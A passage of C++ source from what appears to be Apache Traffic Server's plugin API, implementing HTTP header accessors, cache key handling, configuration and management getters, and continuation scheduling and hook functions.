ink_assert(h.m_http->m_type == HDR_HEAP_OBJ_HTTP_HEADER);
TSHttpHdrTypeSet(bufp, obj, TS_HTTP_TYPE_RESPONSE);
return (TSParseResult)h.parse_resp((HTTPParser *)parser, start, end, false);
}
int
TSHttpHdrLengthGet(TSMBuffer bufp, TSMLoc obj)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS);
HTTPHdr h;
SET_HTTP_HDR(h, bufp, obj);
ink_assert(h.m_http->m_type == HDR_HEAP_OBJ_HTTP_HEADER);
return h.length_get();
}
TSHttpType
TSHttpHdrTypeGet(TSMBuffer bufp, TSMLoc obj)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS);
HTTPHdr h;
SET_HTTP_HDR(h, bufp, obj);
/* Don't need the assert as the check is done in sdk_sanity_check_http_hdr_handle
ink_assert(h.m_http->m_type == HDR_HEAP_OBJ_HTTP_HEADER);
*/
return (TSHttpType)h.type_get();
}
TSReturnCode
TSHttpHdrTypeSet(TSMBuffer bufp, TSMLoc obj, TSHttpType type)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS);
sdk_assert((type >= TS_HTTP_TYPE_UNKNOWN) && (type <= TS_HTTP_TYPE_RESPONSE));
if (!isWriteable(bufp)) {
return TS_ERROR;
}
HTTPHdr h;
SET_HTTP_HDR(h, bufp, obj);
ink_assert(h.m_http->m_type == HDR_HEAP_OBJ_HTTP_HEADER);
// FIX: why are we using an HTTPHdr here? why can't we
// just manipulate the impls directly?
// In Pete's MBuffer system you can change the type
// at will. Not so anymore. We need to try to
// fake the difference. We not going to let
// people change the types of a header. If they
// try, too bad.
if (h.m_http->m_polarity == HTTP_TYPE_UNKNOWN) {
if (type == (TSHttpType)HTTP_TYPE_REQUEST) {
h.m_http->u.req.m_url_impl = url_create(h.m_heap);
h.m_http->m_polarity = (HTTPType)type;
} else if (type == (TSHttpType)HTTP_TYPE_RESPONSE) {
h.m_http->m_polarity = (HTTPType)type;
}
}
return TS_SUCCESS;
}
int
TSHttpHdrVersionGet(TSMBuffer bufp, TSMLoc obj)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS);
HTTPHdr h;
SET_HTTP_HDR(h, bufp, obj);
HTTPVersion ver = h.version_get();
return ver.m_version;
}
TSReturnCode
TSHttpHdrVersionSet(TSMBuffer bufp, TSMLoc obj, int ver)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
HTTPHdr h;
HTTPVersion version(ver);
SET_HTTP_HDR(h, bufp, obj);
ink_assert(h.m_http->m_type == HDR_HEAP_OBJ_HTTP_HEADER);
h.version_set(version);
return TS_SUCCESS;
}
const char *
TSHttpHdrMethodGet(TSMBuffer bufp, TSMLoc obj, int *length)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)length) == TS_SUCCESS);
HTTPHdr h;
SET_HTTP_HDR(h, bufp, obj);
return h.method_get(length);
}
TSReturnCode
TSHttpHdrMethodSet(TSMBuffer bufp, TSMLoc obj, const char *value, int length)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)value) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
HTTPHdr h;
SET_HTTP_HDR(h, bufp, obj);
if (length < 0) {
length = strlen(value);
}
h.method_set(value, length);
return TS_SUCCESS;
}
const char *
TSHttpHdrHostGet(TSMBuffer bufp, TSMLoc obj, int *length)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)length) == TS_SUCCESS);
HTTPHdr h;
SET_HTTP_HDR(h, bufp, obj);
return h.host_get(length);
}
TSReturnCode
TSHttpHdrUrlGet(TSMBuffer bufp, TSMLoc obj, TSMLoc *locp)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS);
HTTPHdrImpl *hh = (HTTPHdrImpl *)obj;
if (hh->m_polarity != HTTP_TYPE_REQUEST) {
return TS_ERROR;
}
*locp = ((TSMLoc)hh->u.req.m_url_impl);
return TS_SUCCESS;
}
TSReturnCode
TSHttpHdrUrlSet(TSMBuffer bufp, TSMLoc obj, TSMLoc url)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_url_handle(url) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
HdrHeap *heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
HTTPHdrImpl *hh = (HTTPHdrImpl *)obj;
if (hh->m_type != HDR_HEAP_OBJ_HTTP_HEADER) {
return TS_ERROR;
}
URLImpl *url_impl = (URLImpl *)url;
http_hdr_url_set(heap, hh, url_impl);
return TS_SUCCESS;
}
TSHttpStatus
TSHttpHdrStatusGet(TSMBuffer bufp, TSMLoc obj)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS);
HTTPHdr h;
SET_HTTP_HDR(h, bufp, obj);
return (TSHttpStatus)h.status_get();
}
TSReturnCode
TSHttpHdrStatusSet(TSMBuffer bufp, TSMLoc obj, TSHttpStatus status)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
HTTPHdr h;
SET_HTTP_HDR(h, bufp, obj);
ink_assert(h.m_http->m_type == HDR_HEAP_OBJ_HTTP_HEADER);
h.status_set((HTTPStatus)status);
return TS_SUCCESS;
}
const char *
TSHttpHdrReasonGet(TSMBuffer bufp, TSMLoc obj, int *length)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)length) == TS_SUCCESS);
HTTPHdr h;
SET_HTTP_HDR(h, bufp, obj);
return h.reason_get(length);
}
TSReturnCode
TSHttpHdrReasonSet(TSMBuffer bufp, TSMLoc obj, const char *value, int length)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)value) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
HTTPHdr h;
SET_HTTP_HDR(h, bufp, obj);
/* Don't need the assert as the check is done in sdk_sanity_check_http_hdr_handle
ink_assert(h.m_http->m_type == HDR_HEAP_OBJ_HTTP_HEADER);
*/
if (length < 0) {
length = strlen(value);
}
h.reason_set(value, length);
return TS_SUCCESS;
}
const char *
TSHttpHdrReasonLookup(TSHttpStatus status)
{
return http_hdr_reason_lookup((HTTPStatus)status);
}
////////////////////////////////////////////////////////////////////
//
// Cache
//
////////////////////////////////////////////////////////////////////
inline TSReturnCode
sdk_sanity_check_cachekey(TSCacheKey key)
{
if (nullptr == key) {
return TS_ERROR;
}
return TS_SUCCESS;
}
TSCacheKey
TSCacheKeyCreate()
{
TSCacheKey key = (TSCacheKey) new CacheInfo();
// TODO: Probably remove this when we can be use "NEW" can't fail.
sdk_assert(sdk_sanity_check_cachekey(key) == TS_SUCCESS);
return key;
}
TSReturnCode
TSCacheKeyDigestSet(TSCacheKey key, const char *input, int length)
{
sdk_assert(sdk_sanity_check_cachekey(key) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_iocore_structure((void *)input) == TS_SUCCESS);
sdk_assert(length > 0);
CacheInfo *ci = reinterpret_cast<CacheInfo *>(key);
if (ci->magic != CACHE_INFO_MAGIC_ALIVE) {
return TS_ERROR;
}
CryptoContext().hash_immediate(ci->cache_key, input, length);
return TS_SUCCESS;
}
TSReturnCode
TSCacheKeyDigestFromUrlSet(TSCacheKey key, TSMLoc url)
{
sdk_assert(sdk_sanity_check_cachekey(key) == TS_SUCCESS);
if (((CacheInfo *)key)->magic != CACHE_INFO_MAGIC_ALIVE) {
return TS_ERROR;
}
url_CryptoHash_get((URLImpl *)url, &((CacheInfo *)key)->cache_key);
return TS_SUCCESS;
}
TSReturnCode
TSCacheKeyDataTypeSet(TSCacheKey key, TSCacheDataType type)
{
sdk_assert(sdk_sanity_check_cachekey(key) == TS_SUCCESS);
if (((CacheInfo *)key)->magic != CACHE_INFO_MAGIC_ALIVE) {
return TS_ERROR;
}
switch (type) {
case TS_CACHE_DATA_TYPE_NONE:
((CacheInfo *)key)->frag_type = CACHE_FRAG_TYPE_NONE;
break;
case TS_CACHE_DATA_TYPE_OTHER: /* other maps to http */
case TS_CACHE_DATA_TYPE_HTTP:
((CacheInfo *)key)->frag_type = CACHE_FRAG_TYPE_HTTP;
break;
default:
return TS_ERROR;
}
return TS_SUCCESS;
}
TSReturnCode
TSCacheKeyHostNameSet(TSCacheKey key, const char *hostname, int host_len)
{
sdk_assert(sdk_sanity_check_cachekey(key) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)hostname) == TS_SUCCESS);
sdk_assert(host_len > 0);
if (((CacheInfo *)key)->magic != CACHE_INFO_MAGIC_ALIVE) {
return TS_ERROR;
}
CacheInfo *i = (CacheInfo *)key;
/* need to make a copy of the hostname. The caller
might deallocate it anytime in the future */
i->hostname = (char *)ats_malloc(host_len);
memcpy(i->hostname, hostname, host_len);
i->len = host_len;
return TS_SUCCESS;
}
TSReturnCode
TSCacheKeyPinnedSet(TSCacheKey key, time_t pin_in_cache)
{
sdk_assert(sdk_sanity_check_cachekey(key) == TS_SUCCESS);
if (((CacheInfo *)key)->magic != CACHE_INFO_MAGIC_ALIVE) {
return TS_ERROR;
}
CacheInfo *i = (CacheInfo *)key;
i->pin_in_cache = pin_in_cache;
return TS_SUCCESS;
}
TSReturnCode
TSCacheKeyDestroy(TSCacheKey key)
{
sdk_assert(sdk_sanity_check_cachekey(key) == TS_SUCCESS);
if (((CacheInfo *)key)->magic != CACHE_INFO_MAGIC_ALIVE) {
return TS_ERROR;
}
CacheInfo *i = (CacheInfo *)key;
ats_free(i->hostname);
i->magic = CACHE_INFO_MAGIC_DEAD;
delete i;
return TS_SUCCESS;
}
TSCacheHttpInfo
TSCacheHttpInfoCopy(TSCacheHttpInfo infop)
{
CacheHTTPInfo *new_info = new CacheHTTPInfo;
new_info->copy((CacheHTTPInfo *)infop);
return reinterpret_cast<TSCacheHttpInfo>(new_info);
}
void
TSCacheHttpInfoReqGet(TSCacheHttpInfo infop, TSMBuffer *bufp, TSMLoc *obj)
{
CacheHTTPInfo *info = (CacheHTTPInfo *)infop;
*(reinterpret_cast<HTTPHdr **>(bufp)) = info->request_get();
*obj = reinterpret_cast<TSMLoc>(info->request_get()->m_http);
sdk_assert(sdk_sanity_check_mbuffer(*bufp) == TS_SUCCESS);
}
void
TSCacheHttpInfoRespGet(TSCacheHttpInfo infop, TSMBuffer *bufp, TSMLoc *obj)
{
CacheHTTPInfo *info = (CacheHTTPInfo *)infop;
*(reinterpret_cast<HTTPHdr **>(bufp)) = info->response_get();
*obj = reinterpret_cast<TSMLoc>(info->response_get()->m_http);
sdk_assert(sdk_sanity_check_mbuffer(*bufp) == TS_SUCCESS);
}
time_t
TSCacheHttpInfoReqSentTimeGet(TSCacheHttpInfo infop)
{
CacheHTTPInfo *info = (CacheHTTPInfo *)infop;
return info->request_sent_time_get();
}
time_t
TSCacheHttpInfoRespReceivedTimeGet(TSCacheHttpInfo infop)
{
CacheHTTPInfo *info = (CacheHTTPInfo *)infop;
return info->response_received_time_get();
}
int64_t
TSCacheHttpInfoSizeGet(TSCacheHttpInfo infop)
{
CacheHTTPInfo *info = (CacheHTTPInfo *)infop;
return info->object_size_get();
}
void
TSCacheHttpInfoReqSet(TSCacheHttpInfo infop, TSMBuffer bufp, TSMLoc obj)
{
HTTPHdr h;
SET_HTTP_HDR(h, bufp, obj);
CacheHTTPInfo *info = (CacheHTTPInfo *)infop;
info->request_set(&h);
}
void
TSCacheHttpInfoRespSet(TSCacheHttpInfo infop, TSMBuffer bufp, TSMLoc obj)
{
HTTPHdr h;
SET_HTTP_HDR(h, bufp, obj);
CacheHTTPInfo *info = (CacheHTTPInfo *)infop;
info->response_set(&h);
}
int
TSCacheHttpInfoVector(TSCacheHttpInfo infop, void *data, int length)
{
CacheHTTPInfo *info = (CacheHTTPInfo *)infop;
CacheHTTPInfoVector vector;
vector.insert(info);
int size = vector.marshal_length();
if (size > length) {
// error
return 0;
}
return vector.marshal((char *)data, length);
}
void
TSCacheHttpInfoDestroy(TSCacheHttpInfo infop)
{
((CacheHTTPInfo *)infop)->destroy();
}
TSCacheHttpInfo
TSCacheHttpInfoCreate()
{
CacheHTTPInfo *info = new CacheHTTPInfo;
info->create();
return reinterpret_cast<TSCacheHttpInfo>(info);
}
////////////////////////////////////////////////////////////////////
//
// Configuration
//
////////////////////////////////////////////////////////////////////
unsigned int
TSConfigSet(unsigned int id, void *data, TSConfigDestroyFunc funcp)
{
INKConfigImpl *config = new INKConfigImpl;
config->mdata = data;
config->m_destroy_func = funcp;
return configProcessor.set(id, config);
}
TSConfig
TSConfigGet(unsigned int id)
{
return reinterpret_cast<TSConfig>(configProcessor.get(id));
}
void
TSConfigRelease(unsigned int id, TSConfig configp)
{
configProcessor.release(id, (ConfigInfo *)configp);
}
void *
TSConfigDataGet(TSConfig configp)
{
INKConfigImpl *config = (INKConfigImpl *)configp;
return config->mdata;
}
////////////////////////////////////////////////////////////////////
//
// Management
//
////////////////////////////////////////////////////////////////////
void
TSMgmtUpdateRegister(TSCont contp, const char *plugin_name)
{
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)plugin_name) == TS_SUCCESS);
global_config_cbs->insert((INKContInternal *)contp, plugin_name);
}
TSReturnCode
TSMgmtIntGet(const char *var_name, TSMgmtInt *result)
{
return RecGetRecordInt((char *)var_name, (RecInt *)result) == REC_ERR_OKAY ? TS_SUCCESS : TS_ERROR;
}
TSReturnCode
TSMgmtCounterGet(const char *var_name, TSMgmtCounter *result)
{
return RecGetRecordCounter((char *)var_name, (RecCounter *)result) == REC_ERR_OKAY ? TS_SUCCESS : TS_ERROR;
}
TSReturnCode
TSMgmtFloatGet(const char *var_name, TSMgmtFloat *result)
{
return RecGetRecordFloat((char *)var_name, (RecFloat *)result) == REC_ERR_OKAY ? TS_SUCCESS : TS_ERROR;
}
TSReturnCode
TSMgmtStringGet(const char *var_name, TSMgmtString *result)
{
RecString tmp = nullptr;
(void)RecGetRecordString_Xmalloc((char *)var_name, &tmp);
if (tmp) {
*result = tmp;
return TS_SUCCESS;
}
return TS_ERROR;
}
TSReturnCode
TSMgmtSourceGet(const char *var_name, TSMgmtSource *source)
{
return REC_ERR_OKAY == RecGetRecordSource(var_name, reinterpret_cast<RecSourceT *>(source)) ? TS_SUCCESS : TS_ERROR;
}
////////////////////////////////////////////////////////////////////
//
// Continuations
//
////////////////////////////////////////////////////////////////////
extern thread_local PluginThreadContext *pluginThreadContext;
TSCont
TSContCreate(TSEventFunc funcp, TSMutex mutexp)
{
// mutexp can be NULL
if (mutexp != nullptr) {
sdk_assert(sdk_sanity_check_mutex(mutexp) == TS_SUCCESS);
}
if (pluginThreadContext) {
pluginThreadContext->acquire();
}
INKContInternal *i = INKContAllocator.alloc();
i->init(funcp, mutexp, pluginThreadContext);
return (TSCont)i;
}
void
TSContDestroy(TSCont contp)
{
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
INKContInternal *i = (INKContInternal *)contp;
if (i->m_context) {
reinterpret_cast<PluginThreadContext *>(i->m_context)->release();
}
i->destroy();
}
void
TSContDataSet(TSCont contp, void *data)
{
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
INKContInternal *i = (INKContInternal *)contp;
i->mdata = data;
}
void *
TSContDataGet(TSCont contp)
{
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
INKContInternal *i = (INKContInternal *)contp;
return i->mdata;
}
TSAction
TSContSchedule(TSCont contp, TSHRTime timeout)
{
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
/* ensure we are on a EThread */
sdk_assert(sdk_sanity_check_null_ptr((void *)this_ethread()) == TS_SUCCESS);
FORCE_PLUGIN_SCOPED_MUTEX(contp);
INKContInternal *i = reinterpret_cast<INKContInternal *>(contp);
if (ink_atomic_increment(static_cast<int *>(&i->m_event_count), 1) < 0) {
ink_assert(!"not reached");
}
EThread *eth = i->getThreadAffinity();
if (eth == nullptr) {
eth = this_ethread();
i->setThreadAffinity(eth);
}
TSAction action;
if (timeout == 0) {
action = reinterpret_cast<TSAction>(eth->schedule_imm(i));
} else {
action = reinterpret_cast<TSAction>(eth->schedule_in(i, HRTIME_MSECONDS(timeout)));
}
/* This is a hack. Should be handled in ink_types */
action = (TSAction)((uintptr_t)action | 0x1);
return action;
}
TSAction
TSContScheduleOnPool(TSCont contp, TSHRTime timeout, TSThreadPool tp)
{
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
/* ensure we are on a EThread */
sdk_assert(sdk_sanity_check_null_ptr((void *)this_ethread()) == TS_SUCCESS);
FORCE_PLUGIN_SCOPED_MUTEX(contp);
INKContInternal *i = reinterpret_cast<INKContInternal *>(contp);
if (ink_atomic_increment(static_cast<int *>(&i->m_event_count), 1) < 0) {
ink_assert(!"not reached");
}
EventType etype;
switch (tp) {
case TS_THREAD_POOL_NET:
etype = ET_NET;
break;
case TS_THREAD_POOL_TASK:
etype = ET_TASK;
break;
case TS_THREAD_POOL_DNS:
etype = ET_DNS;
break;
case TS_THREAD_POOL_UDP:
etype = ET_UDP;
break;
default:
etype = ET_TASK;
break;
}
TSAction action;
if (timeout == 0) {
action = reinterpret_cast<TSAction>(eventProcessor.schedule_imm(i, etype));
} else {
action = reinterpret_cast<TSAction>(eventProcessor.schedule_in(i, HRTIME_MSECONDS(timeout), etype));
}
/* This is a hack. Should be handled in ink_types */
action = (TSAction)((uintptr_t)action | 0x1);
return action;
}
TSAction
TSContScheduleOnThread(TSCont contp, TSHRTime timeout, TSEventThread ethread)
{
ink_release_assert(ethread != nullptr);
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
FORCE_PLUGIN_SCOPED_MUTEX(contp);
INKContInternal *i = reinterpret_cast<INKContInternal *>(contp);
if (ink_atomic_increment(static_cast<int *>(&i->m_event_count), 1) < 0) {
ink_assert(!"not reached");
}
EThread *eth = reinterpret_cast<EThread *>(ethread);
if (i->getThreadAffinity() == nullptr) {
i->setThreadAffinity(eth);
}
TSAction action;
if (timeout == 0) {
action = reinterpret_cast<TSAction>(eth->schedule_imm(i));
} else {
action = reinterpret_cast<TSAction>(eth->schedule_in(i, HRTIME_MSECONDS(timeout)));
}
/* This is a hack. Should be handled in ink_types */
action = (TSAction)((uintptr_t)action | 0x1);
return action;
}
TSAction
TSContScheduleEvery(TSCont contp, TSHRTime every /* millisecs */)
{
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
/* ensure we are on a EThread */
sdk_assert(sdk_sanity_check_null_ptr((void *)this_ethread()) == TS_SUCCESS);
FORCE_PLUGIN_SCOPED_MUTEX(contp);
INKContInternal *i = reinterpret_cast<INKContInternal *>(contp);
if (ink_atomic_increment(static_cast<int *>(&i->m_event_count), 1) < 0) {
ink_assert(!"not reached");
}
EThread *eth = i->getThreadAffinity();
if (eth == nullptr) {
eth = this_ethread();
i->setThreadAffinity(eth);
}
TSAction action = reinterpret_cast<TSAction>(eth->schedule_every(i, HRTIME_MSECONDS(every)));
/* This is a hack. Should be handled in ink_types */
action = (TSAction)((uintptr_t)action | 0x1);
return action;
}
TSAction
TSContScheduleEveryOnPool(TSCont contp, TSHRTime every, TSThreadPool tp)
{
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
/* ensure we are on a EThread */
sdk_assert(sdk_sanity_check_null_ptr((void *)this_ethread()) == TS_SUCCESS);
FORCE_PLUGIN_SCOPED_MUTEX(contp);
INKContInternal *i = reinterpret_cast<INKContInternal *>(contp);
if (ink_atomic_increment(static_cast<int *>(&i->m_event_count), 1) < 0) {
ink_assert(!"not reached");
}
EventType etype;
switch (tp) {
case TS_THREAD_POOL_NET:
etype = ET_NET;
break;
case TS_THREAD_POOL_TASK:
etype = ET_TASK;
break;
default:
etype = ET_TASK;
break;
}
TSAction action = reinterpret_cast<TSAction>(eventProcessor.schedule_every(i, HRTIME_MSECONDS(every), etype));
/* This is a hack. Should be handled in ink_types */
action = (TSAction)((uintptr_t)action | 0x1);
return action;
}
TSAction
TSContScheduleEveryOnThread(TSCont contp, TSHRTime every /* millisecs */, TSEventThread ethread)
{
ink_release_assert(ethread != nullptr);
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
FORCE_PLUGIN_SCOPED_MUTEX(contp);
INKContInternal *i = reinterpret_cast<INKContInternal *>(contp);
if (ink_atomic_increment(static_cast<int *>(&i->m_event_count), 1) < 0) {
ink_assert(!"not reached");
}
EThread *eth = reinterpret_cast<EThread *>(ethread);
if (i->getThreadAffinity() == nullptr) {
i->setThreadAffinity(eth);
}
TSAction action = reinterpret_cast<TSAction>(eth->schedule_every(i, HRTIME_MSECONDS(every)));
/* This is a hack. Should be handled in ink_types */
action = (TSAction)((uintptr_t)action | 0x1);
return action;
}
TSReturnCode
TSContThreadAffinitySet(TSCont contp, TSEventThread ethread)
{
ink_release_assert(ethread != nullptr);
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
FORCE_PLUGIN_SCOPED_MUTEX(contp);
INKContInternal *i = reinterpret_cast<INKContInternal *>(contp);
EThread *thread_affinity = reinterpret_cast<EThread *>(ethread);
if (i->setThreadAffinity(thread_affinity)) {
return TS_SUCCESS;
}
return TS_ERROR;
}
TSEventThread
TSContThreadAffinityGet(TSCont contp)
{
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
FORCE_PLUGIN_SCOPED_MUTEX(contp);
INKContInternal *i = reinterpret_cast<INKContInternal *>(contp);
return reinterpret_cast<TSEventThread>(i->getThreadAffinity());
}
void
TSContThreadAffinityClear(TSCont contp)
{
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
FORCE_PLUGIN_SCOPED_MUTEX(contp);
INKContInternal *i = reinterpret_cast<INKContInternal *>(contp);
i->clearThreadAffinity();
}
TSAction
TSHttpSchedule(TSCont contp, TSHttpTxn txnp, TSHRTime timeout)
{
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
FORCE_PLUGIN_SCOPED_MUTEX(contp);
INKContInternal *i = (INKContInternal *)contp;
if (ink_atomic_increment((int *)&i->m_event_count, 1) < 0) {
ink_assert(!"not reached");
}
TSAction action;
Continuation *cont = (Continuation *)contp;
HttpSM *sm = (HttpSM *)txnp;
sm->set_http_schedule(cont);
if (timeout == 0) {
action = reinterpret_cast<TSAction>(eventProcessor.schedule_imm(sm, ET_NET));
} else {
action = reinterpret_cast<TSAction>(eventProcessor.schedule_in(sm, HRTIME_MSECONDS(timeout), ET_NET));
}
action = (TSAction)((uintptr_t)action | 0x1);
return action;
}
int
TSContCall(TSCont contp, TSEvent event, void *edata)
{
Continuation *c = (Continuation *)contp;
WEAK_MUTEX_TRY_LOCK(lock, c->mutex, this_ethread());
if (!lock.is_locked()) {
// If we cannot get the lock, the caller needs to restructure to handle rescheduling
ink_release_assert(0);
}
return c->handleEvent((int)event, edata);
}
TSMutex
TSContMutexGet(TSCont contp)
{
sdk_assert(sdk_sanity_check_iocore_structure(contp) == TS_SUCCESS);
Continuation *c = (Continuation *)contp;
return (TSMutex)(c->mutex.get());
}
/* HTTP hooks */
void
TSHttpHookAdd(TSHttpHookID id, TSCont contp)
{
INKContInternal *icontp;
sdk_assert(sdk_sanity_check_continuation(contp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_hook_id(id) == TS_SUCCESS);
icontp = reinterpret_cast<INKContInternal *>(contp);
TSSslHookInternalID internalId{id};
if (internalId.is_in_bounds()) {
ssl_hooks->append(internalId, icontp);
} else { // Follow through the regular HTTP hook framework
http_global_hooks->append(id, icontp);
}
}
void
TSLifecycleHookAdd(TSLifecycleHookID id, TSCont contp)
{
sdk_assert(sdk_sanity_check_continuation(contp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_lifecycle_hook_id(id) == TS_SUCCESS);
lifecycle_hooks->append(id, (INKContInternal *)contp);
}
/* HTTP sessions */
void
TSHttpSsnHookAdd(TSHttpSsn ssnp, TSHttpHookID id, TSCont contp)
{
sdk_assert(sdk_sanity_check_http_ssn(ssnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_continuation(contp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_hook_id(id) == TS_SUCCESS);
ProxySession *cs = reinterpret_cast<ProxySession *>(ssnp);
cs->hook_add(id, (INKContInternal *)contp);
}
int
TSHttpSsnTransactionCount(TSHttpSsn ssnp)
{
sdk_assert(sdk_sanity_check_http_ssn(ssnp) == TS_SUCCESS);
ProxySession *cs = reinterpret_cast<ProxySession *>(ssnp);
return cs->get_transact_count();
}
TSVConn
TSHttpSsnClientVConnGet(TSHttpSsn ssnp)
{
ProxySession *cs = reinterpret_cast<ProxySession *>(ssnp);
return reinterpret_cast<TSVConn>(cs->get_netvc());
}
TSVConn
TSHttpSsnServerVConnGet(TSHttpSsn ssnp)
{
Http1ServerSession *ss = reinterpret_cast<Http1ServerSession *>(ssnp);
return reinterpret_cast<TSVConn>(ss->get_netvc());
}
class TSHttpSsnCallback : public Continuation
{
public:
TSHttpSsnCallback(ProxySession *cs, TSEvent event) : Continuation(cs->mutex), m_cs(cs), m_event(event)
{
SET_HANDLER(&TSHttpSsnCallback::event_handler);
}
int
event_handler(int, void *)
{
m_cs->handleEvent((int)m_event, nullptr);
delete this;
return 0;
}
private:
ProxySession *m_cs;
TSEvent m_event;
};
void
TSHttpSsnReenable(TSHttpSsn ssnp, TSEvent event)
{
sdk_assert(sdk_sanity_check_http_ssn(ssnp) == TS_SUCCESS);
ProxySession *cs = reinterpret_cast<ProxySession *>(ssnp);
EThread *eth = this_ethread();
// If this function is being executed on a thread created by the API
// which is DEDICATED, the continuation needs to be called back on a
// REGULAR thread.
if (eth->tt != REGULAR) {
eventProcessor.schedule_imm(new TSHttpSsnCallback(cs, event), ET_NET);
} else {
MUTEX_TRY_LOCK(trylock, cs->mutex, eth);
if (!trylock.is_locked()) {
eventProcessor.schedule_imm(new TSHttpSsnCallback(cs, event), ET_NET);
} else {
cs->handleEvent((int)event, nullptr);
}
}
}
/* HTTP transactions */
void
TSHttpTxnHookAdd(TSHttpTxn txnp, TSHttpHookID id, TSCont contp)
{
sdk_assert(sdk_sanity_check_txn(txnp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_continuation(contp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_hook_id(id) == TS_SUCCESS);
HttpSM *sm = (HttpSM *)txnp;
APIHook *hook = sm->txn_hook_get(id);
// Traverse list of hooks and add a particular hook only once
while (hook != nullptr) {
if (hook->m_cont == (INKContInternal *)contp) {
return;
}
hook = hook->m_link.next;
}
sm->txn_hook_add(id, (INKContInternal *)contp);
}
// Private api function for gzip plugin.
// This function should only appear in TsapiPrivate.h
TSReturnCode
TSHttpTxnHookRegisteredFor(TSHttpTxn txnp, TSHttpHookID id, TSEventFunc funcp)
{
HttpSM *sm = (HttpSM *)txnp;
APIHook *hook = sm->txn_hook_get(id);
